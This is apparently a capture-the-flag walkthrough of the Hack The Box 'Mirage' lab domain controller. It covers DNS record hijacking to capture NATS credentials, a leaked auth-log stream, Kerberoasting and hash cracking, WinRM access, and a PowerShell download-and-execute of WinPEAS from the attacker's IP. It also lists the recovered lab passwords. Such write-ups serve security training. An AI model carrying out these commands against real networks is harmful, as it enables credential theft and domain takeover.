Mirage
Mirage
Credentials
We don’t start with any creds. Below are creds that were found along the process:
1
2
3
4
Dev_Account_A:hx5h7F5554fP@1337!
david.jjackson:pN8kQmn6b86!1234@
nathan.aadam:3edc#EDC3
mark.bbond:1day@atime
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
sudo nmap -PN -sC -sV -oN mirage 10.10.11.78
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 17:07 PKT
Nmap scan report for 10.10.11.78
Host is up (0.10s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-20 18:45:13Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-20T18:46:07
|_ start_date: N/A
|_clock-skew: 6h36m37s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.73 seconds
Rustscan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
rustscan -a 10.10.11.78 --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned ports so fast, even my computer was surprised.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.78:53
Open 10.10.11.78:88
Open 10.10.11.78:111
Open 10.10.11.78:135
Open 10.10.11.78:139
Open 10.10.11.78:389
Open 10.10.11.78:445
Open 10.10.11.78:464
Open 10.10.11.78:593
Open 10.10.11.78:636
Open 10.10.11.78:3268
Open 10.10.11.78:3269
Open 10.10.11.78:4222
Open 10.10.11.78:5985
Open 10.10.11.78:9389
Open 10.10.11.78:2049
Open 10.10.11.78:47001
Open 10.10.11.78:49665
Open 10.10.11.78:49664
Open 10.10.11.78:49666
Open 10.10.11.78:49667
Open 10.10.11.78:49668
Open 10.10.11.78:50441
Open 10.10.11.78:60301
Open 10.10.11.78:60309
Open 10.10.11.78:60308
Open 10.10.11.78:60322
Open 10.10.11.78:60325
Open 10.10.11.78:60342
Open 10.10.11.78:60365
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 17:16 PKT
Initiating Ping Scan at 17:16
Scanning 10.10.11.78 [4 ports]
Completed Ping Scan at 17:16, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:16
Completed Parallel DNS resolution of 1 host. at 17:16, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 17:16
Scanning 10.10.11.78 [30 ports]
Discovered open port 139/tcp on 10.10.11.78
Discovered open port 49667/tcp on 10.10.11.78
Discovered open port 445/tcp on 10.10.11.78
Discovered open port 135/tcp on 10.10.11.78
Discovered open port 111/tcp on 10.10.11.78
Discovered open port 50441/tcp on 10.10.11.78
Discovered open port 53/tcp on 10.10.11.78
Discovered open port 3269/tcp on 10.10.11.78
Discovered open port 464/tcp on 10.10.11.78
Discovered open port 88/tcp on 10.10.11.78
Discovered open port 389/tcp on 10.10.11.78
Discovered open port 593/tcp on 10.10.11.78
Discovered open port 49664/tcp on 10.10.11.78
Discovered open port 60325/tcp on 10.10.11.78
Discovered open port 60342/tcp on 10.10.11.78
Discovered open port 636/tcp on 10.10.11.78
Discovered open port 60301/tcp on 10.10.11.78
Discovered open port 2049/tcp on 10.10.11.78
Discovered open port 4222/tcp on 10.10.11.78
Discovered open port 49668/tcp on 10.10.11.78
Discovered open port 9389/tcp on 10.10.11.78
Discovered open port 60308/tcp on 10.10.11.78
Discovered open port 60322/tcp on 10.10.11.78
Discovered open port 49665/tcp on 10.10.11.78
Discovered open port 5985/tcp on 10.10.11.78
Discovered open port 3268/tcp on 10.10.11.78
Discovered open port 47001/tcp on 10.10.11.78
Discovered open port 49666/tcp on 10.10.11.78
Discovered open port 60365/tcp on 10.10.11.78
Discovered open port 60309/tcp on 10.10.11.78
Completed SYN Stealth Scan at 17:16, 0.47s elapsed (30 total ports)
Nmap scan report for 10.10.11.78
Host is up, received echo-reply ttl 127 (0.16s latency).
Scanned at 2025-07-20 17:16:59 PKT for 0s
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
111/tcp open rpcbind syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
2049/tcp open nfs syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
4222/tcp open vrml-multi-use syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
50441/tcp open unknown syn-ack ttl 127
60301/tcp open unknown syn-ack ttl 127
60308/tcp open unknown syn-ack ttl 127
60309/tcp open unknown syn-ack ttl 127
60322/tcp open unknown syn-ack ttl 127
60325/tcp open unknown syn-ack ttl 127
60342/tcp open unknown syn-ack ttl 127
60365/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
Raw packets sent: 34 (1.472KB) | Rcvd: 34 (1.468KB)
Interacting with exposed ports
SMB
1
2
3
4
└─$ crackmapexec smb 10.10.11.78 --shares -u '' -p ''
SMB 10.10.11.78 445 10.10.11.78 [*] x64 (name:10.10.11.78) (domain:10.10.11.78) (signing:True) (SMBv1:False)
SMB 10.10.11.78 445 10.10.11.78 [-] 10.10.11.78\: STATUS_NOT_SUPPORTED
SMB 10.10.11.78 445 10.10.11.78 [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
Port 4222/NATS
1
2
3
nc 10.10.11.78 4222
INFO {"server_id":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","server_name":"NBFHGFVN5SFGGOMK77DO2ZMPJKCOCALBS4HP4ZXDJFQLOFSY77YOVZKY","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":300,"client_ip":"10.10.16.96","xkey":"XB2NV6U7Z427TDUHH5JKDGOJXJRXP5LO674AGWTYTYQNQKVZCLYD6AHX"}
-ERR 'Authentication Timeout
NATS is an open-source messaging system that implements the publish-subscribe, request-reply, and queue group communication patterns.
Install go to interact with NATS.
go install github.com/nats-io/natscli/nats@latest
Though on testing we discover that creds are needed to access the NATS share.
Mount
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿vm-kali)-[~/Desktop]
└─$ sudo showmount -e 10.10.11.78
Export list for 10.10.11.78:
/MirageReports (everyone)
┌──(kali㉿vm-kali)-[~/Desktop]
└─$ sudo mkdir -p /mnt/MirageReports
sudo mount -t nfs4 10.10.11.78:/ /mnt/MirageReports
┌──(kali㉿vm-kali)-[/mnt/MirageReports/MirageReports]
└─$ ls -la
total 17489
drwxrwxrwx+ 2 nobody nogroup 64 May 27 02:41 .
drwxrwxrwx+ 2 nobody nogroup 64 Jul 20 20:25 ..
-rwx------+ 1 nobody nogroup 8530639 May 20 20:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 27 02:37 Mirage_Authentication_Hardening_Report.pdf
sudo xdg-open <filename>
Incident Report
Just the text from PDF:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
MIRAGE
Report
Topic
Incident Report – Missing DNS Record for nats-svc
Writer Network Infrastructure Team (IT Team)
Date May 6, 2025
Summary
On May 3, 2025, the Development team reported they were unable to resolve the hostname
nats-svc.mirage.htb. This hostname is critical for internal service communication with the
NATS messaging system hosted on the Mirage domain.
Timeline of Events:
May 3, 2025: The nats-svc server becomes unreachable within the internal network.
May 4, 2025: The Development team reports a failure to connect to the NATS service
via DNS.
May 5, 2025: An initial investigation confirms the DNS record for nats-svc is missing
from the mirage.htb zone.Research / Findings:
When the Development team attempted to connect to the NATS server using the nats-svc
hostname, they received a connection error :
Further investigation confirmed that name resolution failed. DNS could not map the
hostname to an IP address.
The Systems Administrator inspected the dc01.mirage.htb DNS zone and confirmed that
the DNS record for nats-svc was missing.
We reviewed the event logs and found Event ID 2501 (scavenging started) and 2502
(scavenging completed), which indicate that DNS scavenging was performed and the nats-
svc record was likely deleted automatically.The DHCP lease records showed the nats-svc machine had been offline for more than 14
days. This aligns with the Development team’s rotating shift model (30/15 days), which
often results in certain machines being offline for extended periods.
The Mirage DNS server is configured with scavenging enabled, using the default intervals:
No-refresh interval: 7 days
Refresh interval: 7 days
This means any dynamic DNS record that is not refreshed within 14 days is considered stale
and can be automatically removed, which is what likely happened to the nats-svc record.
Solution :
To prevent this issue from occurring again, we recommend the following:
1. Convert nats-svc to a Static Record
Static records are not affected by scavenging. Manually converting nats-svc to a static
record is the safest solution for services that are not consistently online.
2. Adjust DNS Scavenging Intervals
Extend the scavenging interval to 21–30 days to allow more time before records are
considered stale. This is especially useful for systems with infrequent online presence.
3. Disable Scavenging for the Zone (Optional)
Disabling scavenging on the mirage.htb zone is possible but not recommended globally,
as it affects all dynamic records and could lead to stale record buildup.Security Consideration :
In development environments, fixed service names such as nats-svc.mirage.htb
are often hardcoded in applications. If the DNS record is missing, some apps
may still attempt to connect to that name. This behavior could be abused by
attackers if DNS records are hijacked.
The Security Team should monitor such cases closely to ensure no
unauthorized DNS responses are injected or spoofed in the network.
Mirage Authentication Hardening
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MIRAGE
Report
TopicSecurity Transition Plan: Deprecating NTLM Authentication at
Mirage.htb
WriterActive Directory Security Team
DateApr 11, 2025
Summary
This report outlines the phased deprecation of NTLM authentication within the Mirage
Active Directory environment. NTLM is a legacy authentication protocol that lacks modern
security features and is vulnerable to several attacks, including credential relaying and
pass-the-hash.
To align with current security best practices, Mirage is moving toward a Kerberos-only
authentication model. The transition is designed to be gradual and well-monitored to avoid
service disruption and ensure all systems are compliant.
Timeline of Events:
April 2025 : Project kickoff: NTLM usage review initiated
May 2025 : Auditing enabled for all incoming NTLM authentication.
May 2025: Inbound NTLM blocked on pilot systems (non-critical servers)
June 2025 : Audit reports analyzed; system owners notified of NTLM usage.
July 2025 : Migration plans created for systems requiring NTLM
Aug 2025 : Begin Kerberos-only enforcement in selected Test OUs
Q4 2025 Target : Full domain-wide NTLM disablementObjective:
We are working to fully eliminate NTLM authentication from our Active Directory
environment to strengthen overall domain security. Our objective is to enforce Kerberos-
only authentication across all systems, reduce the risk of legacy protocol attacks, and
ensure that all critical services operate securely without reliance on outdated methods.Current Status :
We are currently auditing all incoming NTLM authentication requests at the domain controller
level and have disabled inbound NTLM on selected non-critical systems. Our team is actively
reviewing these audit logs to identify legacy devices and applications that still rely on NTLM,
allowing us to prepare tailored migration plans for each case.Rationale :
We are taking this step because NTLM is an insecure protocol that lacks mutual
authentication and is vulnerable to several well-known attack techniques. By
identifying and phasing out its use now, we can prevent potential exploitation in
the future and align our authentication strategy with modern, secure standards
like Kerberos.Next Steps :
We are continuing to monitor NTLM usage and will contact affected system
owners to assist with migration. Over the coming months, we will expand NTLM
blocking across more systems and organizational units, conduct controlled
tests in isolated environments, and ultimately enforce domain-wide NTLM
disablement by Q4 2025.
Prepared by:
Active Directory Security Team
IT Security Department – Mirage.htb
Contact: ad-security@mirage.htb
Observations
From Incident Report:
- nats-svc.mirage.htb is missing from DNS due to scavenging (i.e., auto-deletion of stale dynamic records).
- The machine is offline, and no static DNS record has been created.
- Applications still try to resolve and connect to nats-svc.mirage.htb.
- DNS record was dynamically registered before and was not reserved.
- The report warns of a potential for DNS hijack if the record is re-added or spoofed.
From Mirage Authentication Hardening:
- Mirage.htb is phasing out NTLM authentication.
- As of July 2025, they’re starting to enforce Kerberos-only in selected OUs.
- Inbound NTLM is disabled on non-critical systems already.
- They are actively auditing NTLM attempts, meaning NTLM attacks may trigger logs or be blocked.
DNS Hijacking
Our goal is to hijack nats-svc.mirage.htb by injecting or spoofing the missing DNS record to point to your attacker machine, so clients/applications authenticate to you.
We will start by creating the malicious DNS record:
1
2
3
4
5
6
vim dns.txt
server 10.10.11.78
zone mirage.htb
update add nats-svc.mirage.htb 60 A 10.10.16.96
send
Then setting up the nats-server:
https://github.com/nats-io/nats-server/releases/tag/v2.11.6
Create the config file:
1
2
3
4
5
6
nats-server.conf
accounts: {
'$SYS': {
users: [{user: 'sys', password: 'sys'}]
}
}
Run the server:
1
2
3
4
./nats-server -p 4222 -a 0.0.0.0 -c nats-server.conf
---SNIP---
[25873] 2025/07/21 01:45:57.616016 [ERR] 10.10.11.78:52322 - cid:5 - authentication error - User "Dev_Account_A"
tcpdump
Start tcpdump/wireshark to get the credentials:
1
2
3
sudo tcpdump -i tun0 -A port 4222
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
Dev_Account_A:hx5h7F5554fP@1337!
Since the accessing application/user was NATS CLI, we can probably access the NATS share now.
Accessing NATS Server
1
2
3
4
5
6
7
8
9
nats --server nats://dc01.mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!' stream ls
╭─────────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├───────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├───────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ auth_logs │ │ 2025-05-05 12:18:19 │ 5 │ 570 B │ 76d13h34m10s │
╰───────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯
Since we were able to run the command, it means auth was successful.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nats --server nats://dc01.mirage.htb:4222 --user Dev_Account_A --password 'hx5h7F5554fP@1337!' stream view auth_logs
[1] Subject: logs.auth Received: 2025-05-05 12:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[2] Subject: logs.auth Received: 2025-05-05 12:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[3] Subject: logs.auth Received: 2025-05-05 12:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[4] Subject: logs.auth Received: 2025-05-05 12:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[5] Subject: logs.auth Received: 2025-05-05 12:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
01:55:14 Reached apparent end of data
david.jjackson:pN8kQmn6b86!1234@
Foothold
We can bloodhound and get a better overview of every user and groups.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sudo neo4j console
bloodhound
bloodhound-python --dns-tcp --dns-timeout 30 -ns 10.10.11.78 -d mirage.htb -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: mirage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 00M 30S
We can also detect whether we can Kerberoast at this step:
1
2
3
4
5
6
7
8
9
10
11
12
13
kinit david.jjackson@MIRAGE.HTB
Password for david.jjackson@MIRAGE.HTB:
export KRB5CCNAME=/tmp/krb5cc_1000
┌──(kali㉿vm-kali)-[~/htb/mirage]
└─$ impacket-GetUserSPNs -dc-ip 10.10.11.78 -dc-host dc01.mirage.htb -k -no-pass mirage.htb/david.jjackson
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------ ------------ ------------------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb 2025-06-24 02:18:18.584667 2025-07-20 21:22:11.617013
This is indeed a kerberoasting opportunity.
Nathan’s hash
1
2
3
4
5
6
7
8
9
10
impacket-GetUserSPNs -dc-ip 10.10.11.78 -dc-host dc01.mirage.htb -k -no-pass mirage.htb/david.jjackson -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------ ------------ ------------------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb 2025-06-24 02:18:18.584667 2025-07-20 21:22:11.617013
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb/nathan.aadam*$5e2695f5d016b82b3faacc3cb56cc266$e8ac5f3a86b918f22f090e5a01d6bc47cd64ab17069dbc3cd4d2bb46e4b1752c254ce61ff55f284b7754e10acdbf56da1c33a1f7c35d452563e5579166272fee62224fbb0b4efcd3dfa2a4ad7aaeccc9846cfc9c6f79ee249cfa26f8e944fd164e15ee0b3d8f41e165a1958ccfff633dbc30cc881c94d673debeb9e884cbb7301ba62923d813c7e09ac73dfcf95cc4347f1b2486b2776d1b432460c0d69c0df65ece0bfae055e0d318f06de1367d5dc27da229227e5b32bae2d38f4dd37599872f0237933e43ba09fea2a974ee627510703fadf187edb69860709e2ec8679a8ad4b74daeddaa3adce76fe5b2b579a296d5f2644b07180c8988e2e2b155a92326052025fe39d12078259e8bd20015b2eea0e74d2de7dc4541d32db4d8a57472a15082c5f83cf3bfe8dcbbc094d5127539615124fdcc85adf7b50d44f9adc37ab4d11e06dbfbdeb69fb09a974d65ab4d09ffe4055faf337f34f5f3d3db9193319ae08c2d291531774cfe5396786b15f5a44b2f1953e81516e7dc8a9b6a70c809796c90eb1fbf7a123622e826062655e9fcbb8d98b7a4122a36afe7cc4c170c67dcffce89f84be3a079f7c7299e554bb992c6a42d1d31e9999cbacdcd2955cbcfb5e37ac7fd374758348b8ef5db6157ea3e6b404eb2813f14cf918080f50c15955106cbbbe4c1a4715b4a23aa188257fed77f46132188aacfc34b4305eec9efe80515fe1b3a458da536ac5c8ec0a10a3e081042effbe1adfc40f9676cf57e6ba520f2b3686177f282d56ee064d708d75536552eb032f5411e2780ddbd21c3098e8a4f4cd387e99bd8e651b69f5462f81a39c8adf3bd43d81dbbdfd05fd6871d650eb716d580ee69ef70368308098a4fd2477de71efdab093529cfe97b34a5abd7009ac67c5a4b5d0e74688ded898daad7ce877cd618d704866c32cd79c9fc1b7e044946785dd9977f0a3bd00d08202d8947a68d0c54795e0909850bc47970493516a7fe743de80857d17ef4449b15f276fac1ce8715a2b9fde70ce6a84446cb8c2a65ddb4f2473143b74095901eb8163ef4fed4089471c8d8113d0ab337cb796c129a749b4e2b2d103f231206e46de3e0fca303ebaa04914ba86cacd33f66f7a2609eb3823e4b55a70c9121c4578b2e643d778e2c511fa63b704a7722aa0a1b4f5830e00f5bf97abd9474987dab92284eb5ddd016a8e6e6b57bd772fcc9c4f9d7bef7157d4c3fcf382e82e22ef2090a5751591fb294ffacb61fcd743a20d3a1212ef2d6b8431aef76d03554274041b1b726eb5d17cec81529d326161aa4cef8f8d9c84801ad4487a5cdb0c1d39a198500fb111755ae69cf03d4e8fd156ebe6a52d4b7b4110d4fd01fb9d33675cecf634d7c0d50415e86555ef3131f63078c2f8fa6b636f34a70cb09f086d44c19011c39c222f941ca7cad9d38fbe33324f21f32e00bcc0101706b21da4d80325bbb28b29d7b95cf913d421a05d341e0e9d0452f1304adac67f22cb2cba374cd73adcb693a80dc997377d7b7590d536b06538f8991b554df31a45ced469fdbcbf08a651565e88a0b3cc0345dd1cf
JohnTheRipper
1
2
3
4
5
6
7
8
9
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt nathan.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3edc#EDC3 (?)
1g 0:00:00:06 DONE (2025-07-21 02:21) 0.1555g/s 1939Kp/s 1939Kc/s 1939KC/s 3fuckthis..3eb45ac9
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
nathan.aadam:3edc#EDC3
GetTGT
1
2
3
4
5
6
7
8
impacket-getTGT mirage.htb/nathan.aadam
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in nathan.aadam.ccache
┌──(kali㉿vm-kali)-[~/htb/mirage]
└─$ export KRB5CCNAME=nathan.aadam.ccache
evil-winrm
1
2
3
4
5
6
7
8
9
10
11
evil-winrm -i dc01.mirage.htb -r mirage.htb
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> type ..\Desktop\user.txt
Privilege Escalation
Let’s run WinPEAS.
On victim machine:
1
2
3
4
5
6
7
8
9
10
11
12
13
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.96:8000/winPEAS.ps1')"
=========|| Additonal Winlogon Credentials Check
MIRAGE
mark.bbond
1day@atime
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : MIRAGE
DefaultUserName : mark.bbond
DefaultPassword : 1day@atime
Just included the interesting bits.
We have another user: mark.bbond:1day@atime
From bloodhound:
Since our user mark.bbond can ForceChangePassword of javier.mmarshall.
But the user javier.mmarshall’s account is disabled.
Get-ADUser
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Import-Module ActiveDirectory
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Get-ADUser -Identity javier.mmarshall -Properties * | Format-List
AccountExpirationDate :
accountExpires : 9223372036854775807
AccountLockoutTime :
AccountNotDelegated : False
AllowReversiblePasswordEncryption : False
AuthenticationPolicy : {}
AuthenticationPolicySilo : {}
BadLogonCount : 0
badPasswordTime : 0
badPwdCount : 0
CannotChangePassword : True
CanonicalName : mirage.htb/Disabled/Users/javier.mmarshall
Certificates : {}
City :
CN : javier.mmarshall
codePage : 0
Company :
CompoundIdentitySupported : {False}
Country :
countryCode : 0
Created : 5/2/2025 1:33:11 AM
createTimeStamp : 5/2/2025 1:33:11 AM
Deleted :
Department :
Description : Contoso Contractors
DisplayName : javier.mmarshall
DistinguishedName : CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
Division :
DoesNotRequirePreAuth : False
dSCorePropagationData : {5/22/2025 2:49:20 PM, 5/22/2025 2:45:45 PM, 5/22/2025 2:02:51 PM, 5/22/2025 1:08:07 PM...}
EmailAddress :
EmployeeID :
EmployeeNumber :
Enabled : False
Fax :
GivenName : javier.mmarshall
HomeDirectory :
HomedirRequired : False
HomeDrive :
HomePage :
HomePhone :
Initials :
instanceType : 4
isDeleted :
KerberosEncryptionType : {None}
LastBadPasswordAttempt :
LastKnownParent :
lastLogoff : 0
lastLogon : 133975322088565507
LastLogonDate : 7/20/2025 3:54:50 PM
lastLogonTimestamp : 133975256902773105
LockedOut : False
logonCount : 15
logonHours : {0, 0, 0, 0...}
LogonWorkstations :
Manager :
MemberOf : {CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb}
MNSLogonAccount : False
MobilePhone :
Modified : 7/20/2025 5:53:21 PM
modifyTimeStamp : 7/20/2025 5:53:21 PM
msDS-SupportedEncryptionTypes : 0
msDS-User-Account-Control-Computed : 0
Name : javier.mmarshall
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
